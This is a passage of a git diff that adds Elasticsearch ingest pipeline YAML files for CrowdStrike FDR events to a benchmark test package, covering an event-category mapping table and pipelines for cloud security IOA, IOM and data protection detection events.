SyntheticProcessRollup2: + category: + - process + kind: event + outcome: success + type: + - start + SystemCapacity: + category: + - host + kind: state + outcome: success + type: + - info + TarFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + TelemetryCounters2: + category: + - host + kind: state + outcome: success + type: + - info + TelemetryNetworkConnections: + category: + - network + kind: state + outcome: success + type: + - connection + TelemetryStats: + category: + - host + kind: state + outcome: success + type: + - info + TerminateProcess: + category: + - process + kind: event + outcome: success + type: + - end + TokenImpersonated: + category: + - process + - authentication + kind: event + outcome: success + type: + - info + - change + UACCOMElevation: + category: + - process + - authentication + kind: event + outcome: success + type: + - info + - change + UACExeElevation: + category: + - process + - authentication + kind: event + outcome: success + type: + - info + - change + UACMSIElevation: + category: + - process + - authentication + kind: event + outcome: success + type: + - info + - change + UmppaErrorEvent: + category: + - package + kind: event + outcome: failure + type: + - info + UnsignedModuleLoad: + category: + - library + kind: event + outcome: success + type: + - start + UpdateManifestDownloadComplete: + category: + - file + kind: event + outcome: success + type: + - creation + UserAccountAddedToGroup: + category: + - configuration + - iam + kind: event + outcome: success + type: + - change + - group + UserAccountCreated: + category: + - configuration + - iam + kind: event + outcome: success + type: + - creation + UserAccountDeleted: + category: + - configuration + - iam + kind: event + outcome: success + type: + - deletion + UserExceptionDEP: + category: + - process + - malware + kind: alert + outcome: success + type: + - info + UserFontLoad: + category: + - configuration + kind: event + outcome: success + type: + - change + UserIdentity: + category: + - authentication + - iam + kind: event + outcome: success + type: + - info + - user + UserLogoff: + category: + - authentication + kind: event + outcome: success + type: + - end + UserLogon: + category: + - authentication + kind: event + outcome: success + type: + - start + UserLogonFailed: + category: + - authentication + kind: event + outcome: failure + type: + - start + UserLogonFailed2: + category: + - authentication + kind: event + outcome: failure + type: + - start + VolumeSnapshotCreated: + category: + - file + kind: event + outcome: success + type: + - creation + VolumeSnapshotDeleted: + category: + - file + kind: event + outcome: success + type: + - deletion + WfpFilterTamperingFilterAdded: + category: + - configuration + kind: event + outcome: success + type: + - change + WfpFilterTamperingFilterDeleted: + category: + - configuration + kind: event + outcome: success + type: + - change + WmiCreateProcess: + category: + - process + kind: event + outcome: success + type: + - start + WmiFilterConsumerBindingEtw: + category: + - configuration + kind: event + outcome: success + type: + - change + WmiProviderRegistrationEtw: + category: + - configuration + kind: event + outcome: success + type: + - change + WroteExeAndGeneratedServiceEvent: + category: + - process + kind: alert + outcome: success + type: + - access + XarFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + ZipFileWritten: + category: + - file + kind: event + outcome: success + type: + - creation + source: |- + def m = params.get(ctx.crowdstrike?.event_simpleName); + if (m != null) { + m.forEach((k, v) -> { + if (v instanceof List) { + ctx.event[k] = new ArrayList(v); + } else { + ctx.event[k] = v; + } + }); + } diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml new file mode 100644 index 0000000000..4bf46f00ef --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml @@ -0,0 +1,273 @@ +--- +description: Pipeline for processing Cloud Security Posture's IOA events. +processors: + # Event categorization + - set: + tag: set_event_kind_alert_39295792 + field: event.kind + value: alert + - append: + tag: append_event_category_configuration_1c667e2c + field: event.category + value: configuration + - append: + tag: append_info_change_type_9e4e4288 + field: event.type + value: + - info + - change + + # Converts + - convert: + tag: convert_crowdstrike_policy_severity_to_long_c007532a + field: crowdstrike.policy_severity + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_policy_severity_b8fb8d80 + field: + - crowdstrike.policy_severity + ignore_failure: true + - append: + tag: append_error_message_d47a6b0a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_source_ip_address_to_ip_358322f7 + field: crowdstrike.source_ip_address + type: ip + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_source_ip_address_4c2c058b + field: + - crowdstrike.source_ip_address + ignore_failure: true + - append: + tag: append_error_message_c13b6565 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_user_identity_mfa_authenticated_to_boolean_54612133 + field: crowdstrike.user_identity_mfa_authenticated + type: boolean + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_user_identity_mfa_authenticated_3d1c0d5c + field: + - crowdstrike.user_identity_mfa_authenticated + ignore_failure: true + - append: + tag: append_error_message_25a88ee1 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_read_only_to_boolean_9b7366e7 + field: crowdstrike.read_only + type: boolean + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_read_only_e31c665c + field: + - crowdstrike.read_only + ignore_failure: true + - append: + tag: append_error_message_bfc80555 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_management_event_to_boolean_09a8dac6 + field: crowdstrike.management_event + type: boolean + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_management_event_88242574 + field: + - crowdstrike.management_event + ignore_failure: true + - append: + tag: append_error_message_7fb96b06 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_policy_id_to_string_eae04ac3 + field: crowdstrike.policy_id + type: string + ignore_missing: true + - date: + tag: date_crowdstrike_event_created_into_event_created_f55ec58c + if: ctx.crowdstrike?.event_created != null && ctx.crowdstrike.event_created != '' + field: crowdstrike.event_created + target_field: event.created + formats: + - ISO8601 + on_failure: + - append: + tag: append_error_message_9078ce2c + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + + # ECS mappings + - set: + tag: set_@timestamp_from_event_created_42aa5b8f + field: '@timestamp' + copy_from: event.created + ignore_empty_value: true + - set: + tag: set_rule_name_from_crowdstrike_policy_statement_2e4da4b5 + field: rule.name + copy_from: crowdstrike.policy_statement + ignore_empty_value: true + - rename: + tag: rename_crowdstrike_event_id_to_event_id_aac41038 + field: crowdstrike.event_id + target_field: event.id + ignore_missing: true + - rename: + tag: rename_crowdstrike_event_name_to_event_action_ad89e7ef + field: crowdstrike.event_name + target_field: event.action + ignore_missing: true + - rename: + tag: rename_crowdstrike_event_source_to_source_domain_2ee5c144 + field: crowdstrike.event_source + target_field: source.domain + ignore_missing: true + - rename: + tag: rename_crowdstrike_user_identity_principal_id_to_user_id_ec14da98 + field: crowdstrike.user_identity_principal_id + target_field: user.id + ignore_missing: true + - rename: + tag: rename_crowdstrike_user_identity_user_name_to_user_name_bc683fbd + field: crowdstrike.user_identity_user_name + target_field: user.name + ignore_missing: true + - rename: + tag: rename_crowdstrike_policy_description_to_rule_description_60190db2 + field: crowdstrike.policy_description + target_field: rule.description + ignore_missing: true + - rename: + tag: rename_crowdstrike_policy_statement_to_message_6cbc5326 + field: crowdstrike.policy_statement + target_field: message + ignore_missing: true + - rename: + tag: rename_crowdstrike_cloud_provider_to_cloud_provider_37e579dc + field: crowdstrike.cloud_provider + target_field: cloud.provider + ignore_missing: true + - rename: + tag: rename_crowdstrike_policy_id_to_rule_id_6a562b4e + field: crowdstrike.policy_id + target_field: rule.id + ignore_missing: true + - rename: + tag: rename_crowdstrike_source_ip_address_to_source_ip_0ff0e35b + field: crowdstrike.source_ip_address + target_field: source.ip + ignore_missing: true + - rename: + tag: rename_crowdstrike_cloud_service_friendly_to_cloud_service_name_1e1824cd + field: crowdstrike.cloud_service_friendly + target_field: cloud.service.name + ignore_missing: true + - rename: + tag: rename_crowdstrike_account_to_cloud_account_id_d1803359 + field: crowdstrike.account + target_field: cloud.account.id + ignore_missing: true + - rename: + tag: rename_crowdstrike_cloud_region_to_cloud_region_f7090720 + field: crowdstrike.cloud_region + target_field: cloud.region + ignore_missing: true + - append: + tag: append_threat_tactic_name_cae1a398 + if: ctx.crowdstrike?.mitre_attack_tactic != null + field: threat.tactic.name + value: '{{{crowdstrike.mitre_attack_tactic}}}' + allow_duplicates: false + - append: + tag: append_threat_technique_name_e0e30ec0 + if: ctx.crowdstrike?.mitre_attack_technique != null + field: threat.technique.name + value: '{{{crowdstrike.mitre_attack_technique}}}' + allow_duplicates: false + - user_agent: + tag: user_agent_crowdstrike_user_agent_a19b860f + field: crowdstrike.user_agent + ignore_missing: true + # Override severity set in default.yml as Cloud Security has a different range. + - script: + tag: set_severity_name_from_crowdstrike_policy_severity_1989e488 + if: ctx.crowdstrike?.policy_severity instanceof long + source: |- + long severity = ctx.crowdstrike.policy_severity; + if (severity == 0) { + ctx.crowdstrike.SeverityName = 'critical'; + } else if (severity == 1) { + ctx.crowdstrike.SeverityName = 'high'; + } else if (severity == 2) { + ctx.crowdstrike.SeverityName = 'medium'; + } else if (severity == 3) { + ctx.crowdstrike.SeverityName = 'informational'; + } + - script: + tag: set_event_severity_from_severity_name_e55a1868 + if: ctx.crowdstrike?.SeverityName instanceof String && ctx.crowdstrike.SeverityName != '' + params: + critical: 99 + high: 73 + info: 21 + informational: 21 + low: 21 + medium: 47 + source: |- + ctx.event = ctx.event ?: [:]; + Integer score = params[ctx.crowdstrike.SeverityName.toLowerCase()]; + if (score != null) { + ctx.event.severity = score; + } + + # Cleanup. + - remove: + tag: remove_40214210 + field: + - crowdstrike.mitre_attack_tactic + - crowdstrike.mitre_attack_technique + - crowdstrike.event_created + - crowdstrike.user_agent + ignore_missing: true + + # error handling + - set: + tag: set_pipeline_error_into_event_kind_92954dfa + if: ctx.error?.message != null + field: event.kind + value: pipeline_error + - append: + tag: append_preserve_original_event_into_tags_9fe66b2c + if: ctx.error?.message != null + field: tags + value: preserve_original_event + allow_duplicates: false +on_failure: + - set: + tag: set_event_kind_f51b77ad + field: event.kind + value: pipeline_error + - append: + tag: append_tags_d762b9c5 + field: tags + value: preserve_original_event + allow_duplicates: false + - append: + tag: append_error_message_e0c9bd63 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml new file mode 100644 index 0000000000..a5d97ab1f0 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml @@ -0,0 +1,503 @@ +--- +description: Pipeline for processing Cloud Security Posture's IOM and CloudSecurityIOMEvaluation events. +processors: + # Event categorization + - set: + tag: set_event_kind_alert_39295792 + field: event.kind + value: alert + # Handle passed CloudSecurityIOMEvaluation events. + - set: + tag: set_event_kind_event_74f065e1 + if: ctx.crowdstrike?.status != null && ctx.crowdstrike.status.equalsIgnoreCase('Passed') + field: event.kind + value: event + - append: + tag: append_event_category_configuration_1c667e2c + field: event.category + value: configuration + - append: + tag: append_info_type_8b66b73a + field: event.type + value: + - info + + # Converts + - convert: + tag: convert_crowdstrike_Severity_to_integer_0f32343f + field: crowdstrike.Severity + type: integer + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_Severity_ab19708e + field: + - crowdstrike.Severity + ignore_failure: true + - append: + tag: append_error_message_596243fd + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_cloud_asset_type_to_long_e947ff85 + field: crowdstrike.cloud_asset_type + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_cloud_asset_type_f9e88af0 + field: + - crowdstrike.cloud_asset_type + ignore_failure: true + - append: + tag: append_error_message_dbb2b2ab + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_legacyPolicyId_to_long_aa105144 + field: crowdstrike.legacyPolicyId + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_legacyPolicyId_f79e89e6 + field: + - crowdstrike.legacyPolicyId + ignore_failure: true + - append: + tag: append_error_message_6322de94 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_resource_legacyPolicyId_to_long_4b2a6514 + field: crowdstrike.resource.legacyPolicyId + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_resource_legacyPolicyId_e1ede384 + field: + - crowdstrike.resource.legacyPolicyId + ignore_failure: true + - append: + tag: append_error_message_c4c4d2a4 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_revision_to_long_9713160b + field: crowdstrike.revision + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_revision_6f267a18 + field: + - crowdstrike.revision + ignore_failure: true + - append: + tag: append_error_message_bfacb109 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_policy_severity_to_long_c007532a + field: crowdstrike.policy_severity + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_policy_severity_b8fb8d80 + field: + - crowdstrike.policy_severity + ignore_failure: true + - append: + tag: append_error_message_d47a6b0a + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_internal_only_to_boolean_05f17f60 + field: crowdstrike.internal_only + type: boolean + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_internal_only_89b06d42 + field: + - crowdstrike.internal_only + ignore_failure: true + - append: + tag: append_error_message_0484dad0 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_policy_id_to_string_eae04ac3 + field: crowdstrike.policy_id + type: string + ignore_missing: true + - date: + tag: date_crowdstrike_ResourceCreateTime_into_crowdstrike_ResourceCreateTime_f8d87a86 + if: ctx.crowdstrike?.ResourceCreateTime != null && ctx.crowdstrike.ResourceCreateTime != '' + field: crowdstrike.ResourceCreateTime + target_field: crowdstrike.ResourceCreateTime + formats: + - ISO8601 + on_failure: + - append: + tag: append_error_message_ba53e1c6 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + tag: date_crowdstrike_created_into_crowdstrike_created_22cd53c6 + if: ctx.crowdstrike?.created != null && ctx.crowdstrike.created != '' + field: crowdstrike.created + target_field: crowdstrike.created + formats: + - ISO8601 + on_failure: + - append: + tag: append_error_message_87abd606 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + tag: date_crowdstrike_firstDetected_into_crowdstrike_firstDetected_7207d30a + if: ctx.crowdstrike?.firstDetected != null && ctx.crowdstrike.firstDetected != '' + field: crowdstrike.firstDetected + target_field: crowdstrike.firstDetected + formats: + - ISO8601 + on_failure: + - append: + tag: append_error_message_99375bea + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + tag: date_crowdstrike_lastDetected_into_crowdstrike_lastDetected_2aa302dc + if: ctx.crowdstrike?.lastDetected != null && ctx.crowdstrike.lastDetected != '' + field: crowdstrike.lastDetected + target_field: crowdstrike.lastDetected + formats: + - ISO8601 + on_failure: + - append: + tag: append_error_message_0de4d3fc + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - date: + tag: date_crowdstrike_resource_captured_into_crowdstrike_resource_captured_b21aec1b + if: ctx.crowdstrike?.resource?.captured != null && ctx.crowdstrike.resource.captured != '' + field: crowdstrike.resource.captured + target_field: crowdstrike.resource.captured + formats: + - ISO8601 + on_failure: + - append: + tag: append_error_message_9bb738d9 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - json: + tag: decode_crowdstrike_ResourceAttributes_74e90745 + if: ctx.crowdstrike?.ResourceAttributes instanceof String + field: crowdstrike.ResourceAttributes + target_field: crowdstrike.ResourceAttributes + on_failure: + - remove: + tag: remove_crowdstrike_ResourceAttributes_17af0578 + field: + - crowdstrike.ResourceAttributes + ignore_missing: true + + # ECS mappings + - set: + tag: set_@timestamp_from_crowdstrike_created_6941d144 + field: '@timestamp' + copy_from: crowdstrike.created + ignore_empty_value: true + - set: + tag: set_rule_name_from_crowdstrike_policy_statement_2e4da4b5 + field: rule.name + copy_from: crowdstrike.policy_statement + ignore_empty_value: true + + # Renames + - rename: + tag: rename_crowdstrike_severity_to_crowdstrike_SeverityName_cc000891 + field: crowdstrike.severity + target_field: crowdstrike.SeverityName + ignore_missing: true + - rename: + tag: rename_crowdstrike_policy_statement_to_message_6cbc5326 + field: crowdstrike.policy_statement + target_field: message + ignore_missing: true + # CloudSecurityIOMEvaluation events use `ruleName` + - set: + tag: set_message_from_crowdstrike_ruleName_0729c3fe + field: message + copy_from: crowdstrike.ruleName + ignore_empty_value: true + - append: + tag: append_threat_tactic_name_from_crowdstrike_mitre_attack_tactics_name_0ca972fe + if: ctx.crowdstrike?.mitre_attack_tactics_name != null + field: threat.tactic.name + value: '{{{crowdstrike.mitre_attack_tactics_name}}}' + allow_duplicates: false + - append: + tag: append_threat_tactic_reference_from_crowdstrike_mitre_attack_tactics_url_11772a14 + if: ctx.crowdstrike?.mitre_attack_tactics_url != null + field: threat.tactic.reference + value: '{{{crowdstrike.mitre_attack_tactics_url}}}' + allow_duplicates: false + - append: + tag: append_threat_tactic_name_from_crowdstrike_threat_tactic_name_4524338e + if: ctx.crowdstrike?.threat?.tactic?.name != null + field: threat.tactic.name + value: '{{{crowdstrike.threat.tactic.name}}}' + allow_duplicates: false + - append: + tag: append_threat_tactic_id_from_crowdstrike_threat_tactic_id_4e03d860 + if: ctx.crowdstrike?.threat?.tactic?.id != null + field: threat.tactic.id + value: '{{{crowdstrike.threat.tactic.id}}}' + allow_duplicates: false + - append: + tag: append_threat_tactic_reference_from_crowdstrike_threat_tactic_reference_0caca4fa + if: ctx.crowdstrike?.threat?.tactic?.reference != null + field: threat.tactic.reference + value: '{{{crowdstrike.threat.tactic.reference}}}' + allow_duplicates: false + - append: + tag: append_threat_technique_name_from_crowdstrike_threat_technique_name_1669c200 + if: ctx.crowdstrike?.threat?.technique?.name != null + field: threat.technique.name + value: '{{{crowdstrike.threat.technique.name}}}' + allow_duplicates: false + - append: + tag: append_threat_technique_id_from_crowdstrike_threat_technique_id_4aa63bbe + if: ctx.crowdstrike?.threat?.technique?.id != null + field: threat.technique.id + value: '{{{crowdstrike.threat.technique.id}}}' + allow_duplicates: false + - append: + tag: append_threat_technique_reference_from_crowdstrike_threat_technique_reference_5d99d5d4 + if: ctx.crowdstrike?.threat?.technique?.reference != null + field: threat.technique.reference + value: '{{{crowdstrike.threat.technique.reference}}}' + allow_duplicates: false + # CloudSecurityIOMEvaluation events use `resource.cloudProvider`, IOM events use `cloudplatform` + - rename: + tag: rename_crowdstrike_cloudplatform_to_cloud_provider_e4cd5dc3 + field: crowdstrike.cloudplatform + target_field: cloud.provider + ignore_missing: true + - append: + tag: append_cloud_provider_from_crowdstrike_cloudplatform_fbe812c3 + if: ctx.crowdstrike?.cloudplatform != null + field: cloud.provider + value: '{{{crowdstrike.cloudplatform}}}' + allow_duplicates: false + - rename: + tag: rename_crowdstrike_resource_cloudProvider_to_cloud_provider_e78d6077 + if: ctx.cloud?.provider == null + field: crowdstrike.resource.cloudProvider + target_field: cloud.provider + ignore_missing: true + - append: + tag: append_cloud_provider_from_crowdstrike_resource_cloudProvider_70f564de + if: ctx.crowdstrike?.resource?.cloudProvider != null + field: cloud.provider + value: '{{{crowdstrike.resource.cloudProvider}}}' + allow_duplicates: false + # CloudSecurityIOMEvaluation events use `ruleId`, IOM events use `policy_id` + - rename: + tag: rename_crowdstrike_policy_id_to_rule_id_6a562b4e + field: crowdstrike.policy_id + target_field: rule.id + ignore_missing: true + - append: + tag: append_rule_id_from_crowdstrike_policy_id_5527ec40 + if: ctx.crowdstrike?.policy_id != null + field: rule.id + value: '{{{crowdstrike.policy_id}}}' + allow_duplicates: false + - rename: + tag: rename_crowdstrike_ruleId_to_rule_id_7392c4e8 + if: ctx.rule?.id == null + field: crowdstrike.ruleId + target_field: rule.id + ignore_missing: true + - append: + tag: append_rule_id_from_crowdstrike_ruleId_39fca7b0 + if: ctx.crowdstrike?.ruleId != null + field: rule.id + value: '{{{crowdstrike.ruleId}}}' + allow_duplicates: false + - rename: + tag: rename_crowdstrike_ruleName_to_rule_name_09ff9f3a + if: ctx.rule?.name == null + field: crowdstrike.ruleName + target_field: rule.name + ignore_missing: true + - append: + tag: append_rule_name_from_crowdstrike_ruleName_9f105302 + if: ctx.crowdstrike?.ruleName != null + field: rule.name + value: '{{{crowdstrike.ruleName}}}' + allow_duplicates: false + - rename: + tag: rename_crowdstrike_CloudService_to_cloud_service_name_cad180a2 + field: crowdstrike.CloudService + target_field: cloud.service.name + ignore_missing: true + - append: + tag: append_cloud_service_name_from_crowdstrike_CloudService_502b8518 + if: ctx.crowdstrike?.CloudService != null + field: cloud.service.name + value: '{{{crowdstrike.CloudService}}}' + allow_duplicates: false + # CloudSecurityIOMEvaluation events use `resource.accountId`, IOM events use `AccountId` + - rename: + tag: rename_crowdstrike_AccountId_to_cloud_account_id_7a667ede + field: crowdstrike.AccountId + target_field: cloud.account.id + ignore_missing: true + - append: + tag: append_cloud_account_id_from_crowdstrike_AccountId_e0946632 + if: ctx.crowdstrike?.AccountId != null + field: cloud.account.id + value: '{{{crowdstrike.AccountId}}}' + allow_duplicates: false + - rename: + tag: rename_crowdstrike_resource_accountId_to_cloud_account_id_ed136ada + if: ctx.cloud?.account?.id == null + field: crowdstrike.resource.accountId + target_field: cloud.account.id + ignore_missing: true + - append: + tag: append_cloud_account_id_from_crowdstrike_resource_accountId_8c8510ad + if: ctx.crowdstrike?.resource?.accountId != null + field: cloud.account.id + value: '{{{crowdstrike.resource.accountId}}}' + allow_duplicates: false + # CloudSecurityIOMEvaluation events use `resource.region`, IOM events use `region` + - rename: + tag: rename_crowdstrike_region_to_cloud_region_a2be859e + field: crowdstrike.region + target_field: cloud.region + ignore_missing: true + - append: + tag: append_cloud_region_from_crowdstrike_region_e4a0d590 + if: ctx.crowdstrike?.region != null + field: cloud.region + value: '{{{crowdstrike.region}}}' + allow_duplicates: false + - rename: + tag: rename_crowdstrike_resource_region_to_cloud_region_54502abf + if: ctx.cloud?.region == null + field: crowdstrike.resource.region + target_field: cloud.region + ignore_missing: true + - append: + tag: append_cloud_region_from_crowdstrike_resource_region_747cc2eb + if: ctx.crowdstrike?.resource?.region != null + field: cloud.region + value: '{{{crowdstrike.resource.region}}}' + allow_duplicates: false + # Override severity set in default.yml as Cloud Security has a different range. + - script: + tag: set_severity_name_from_crowdstrike_Severity_a1e4ce46 + if: ctx.crowdstrike?.Severity instanceof int + source: |- + int severity = ctx.crowdstrike.Severity; + if (severity == 0) { + ctx.crowdstrike.SeverityName = 'critical'; + } else if (severity == 1) { + ctx.crowdstrike.SeverityName = 'high'; + } else if (severity == 2) { + ctx.crowdstrike.SeverityName = 'medium'; + } else if (severity == 3) { + ctx.crowdstrike.SeverityName = 'informational'; + } + - script: + tag: set_event_severity_from_severity_name_e55a1868 + if: ctx.crowdstrike?.SeverityName instanceof String && ctx.crowdstrike.SeverityName != '' + params: + critical: 99 + high: 73 + info: 21 + informational: 21 + low: 21 + medium: 47 + source: |- + ctx.event = ctx.event ?: [:]; + Integer score = params[ctx.crowdstrike.SeverityName.toLowerCase()]; + if (score != null) { + ctx.event.severity = score; + } + + - script: + description: Parse all benchmark IDs and create a list. + tag: parse_all_benchmark_ids_to_list_c4f20ce2 + source: |- + for (entry in ctx.crowdstrike.entrySet()) { + def key = entry.getKey().toString(); + if (key.endsWith("benchmark_ids")) { + def val = entry.getValue(); + if (val instanceof String) { + def result = []; + String cleaned = /[\\{\\}\\s]/.matcher(val).replaceAll(''); + def parts = cleaned.splitOnToken(","); + for (def part : parts) { + result.add(part); + } + ctx.crowdstrike[key] = result; + } + } + } + + # Cleanup. + - remove: + tag: remove_deaa67b5 + field: + - crowdstrike.Disposition + - crowdstrike.Finding + - crowdstrike.CloudPlatform + - crowdstrike.PolicyId + - crowdstrike.PolicyStatement + - crowdstrike.Region + - crowdstrike.ResourceUrl + - crowdstrike.mitre_attack_tactics_name + - crowdstrike.mitre_attack_tactics_url + - crowdstrike.threat.framework + - crowdstrike.threat.technique.id + - crowdstrike.threat.technique.name + - crowdstrike.threat.technique.reference + - crowdstrike.threat.tactic.id + - crowdstrike.threat.tactic.name + - crowdstrike.threat.tactic.reference + ignore_missing: true + + # error handling + - set: + tag: set_pipeline_error_into_event_kind_92954dfa + if: ctx.error?.message != null + field: event.kind + value: pipeline_error + - append: + tag: append_preserve_original_event_into_tags_9fe66b2c + if: ctx.error?.message != null + field: tags + value: preserve_original_event + allow_duplicates: false +on_failure: + - set: + tag: set_event_kind_f51b77ad + field: event.kind + value: pipeline_error + - append: + tag: append_tags_d762b9c5 + field: tags + value: preserve_original_event + allow_duplicates: false + - append: + tag: append_error_message_e0c9bd63 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml new file mode 100644 index 0000000000..f52301bec7 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml @@ -0,0 +1,360 @@ +--- +description: Pipeline for processing Data Protection Detection Summary events. +processors: + + # event categorization fields + - set: + tag: set_event_kind_to_alert_39295792 + field: event.kind + value: alert + - append: + tag: append_malware_category_425d1f27 + field: event.category + value: malware + - append: + tag: append_info_type_8a66ccaa + field: event.type + value: info + + # converts + - convert: + tag: convert_crowdstrike_DataVolume_to_long_942b72ee + field: crowdstrike.DataVolume + type: long + ignore_missing: true + on_failure: + - append: + tag: append_error_message_e18f0b9e + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_ContentPatterns_ConfidenceLevel_to_long_45401f80 + field: crowdstrike.ContentPatterns.ConfidenceLevel + type: long + ignore_missing: true + on_failure: + - remove: + tag: remove_crowdstrike_ContentPatterns_ConfidenceLevel_51bb48e5 + field: + - crowdstrike.ContentPatterns.ConfidenceLevel + - append: + tag: append_error_message_469733f0 + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + tag: convert_crowdstrike_ContentPatterns_MatchCount_to_long_1860a094 + 